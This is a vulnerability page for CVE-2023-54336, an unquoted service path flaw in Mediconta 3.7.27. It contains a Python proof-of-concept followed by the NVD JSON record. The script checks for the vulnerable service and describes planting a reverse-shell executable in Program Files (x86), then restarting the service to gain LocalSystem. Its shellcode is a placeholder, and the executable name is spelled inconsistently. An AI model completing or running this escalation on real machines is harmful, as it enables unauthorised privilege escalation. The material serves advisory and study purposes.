CVE-2023-54336

# CVE-2023-54336 PoC - Unquoted Service Path in Mediconta # This PoC demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges on Windows systems with Mediconta installed. import os import subprocess import shutil def check_vulnerability(): """Check if Mediconta service is installed and vulnerable""" try: # Check if the service exists result = subprocess.run( ['sc', 'qc', 'servermedicontservice'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [line for line in result.stdout.split('\n') if 'BINARY_PATH_NAME' in line] if path_line: print(f"[+] Service path: {path_line[0]}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a reverse shell payload as medictont3.exe""" malicious_path = r'C:\Program Files (x86)\medicont3.exe' # Create a simple executable that creates a privileged reverse shell # This is a simplified example - actual attack would use meterpreter or similar shellcode = bytes([ 0x90, 0x90, 0x90, 0x90, # NOP sled # Add your actual shellcode here ]) # In a real attack scenario, you would generate a proper executable # For demonstration, we show the concept: print(f"[*] Malicious executable would be created at: {malicious_path}") print("[*] When servermedicontservice starts, it will execute medictont3.exe") print("[*] The malicious code runs with LocalSystem privileges") def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2023-54336 Mediconta Unquoted Service Path Exploit") print("=" * 60) if check_vulnerability(): print("[+] Mediconta service found and potentially vulnerable") create_malicious_executable() print("[+] Attack vector established") print("[*] Wait for service restart or trigger manually: sc stop servermedicontservice && sc start servermedicontservice") else: print("[-] Service not found or not vulnerable") if __name__ == '__main__': exploit()

{"cve": {"id": "CVE-2023-54336", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:16:01.230", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mediconta 3.7.27 contains an unquoted service path vulnerability in the servermedicontservice that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\\Program Files (x86)\\medicont3\\ to inject malicious code that would execute with LocalSystem permissions during service startup."}, {"lang": "es", "value": "Mediconta 3.7.27 contiene una vulnerabilidad de ruta de servicio sin comillas en el servicio servermedicontservice que permite a usuarios locales ejecutar código potencialmente con privilegios elevados. Los atacantes pueden explotar la ruta sin comillas en C:\\Program Files (x86)\\medicont3\\ para inyectar código malicioso que se ejecutaría con permisos de LocalSystem durante el inicio del servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51064", "source": "[email protected]"}, {"url": "https://www.infonetsoftware.com", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/mediconta-servermedicontservice-unquoted-service-path", "source": "[email protected]"}]}}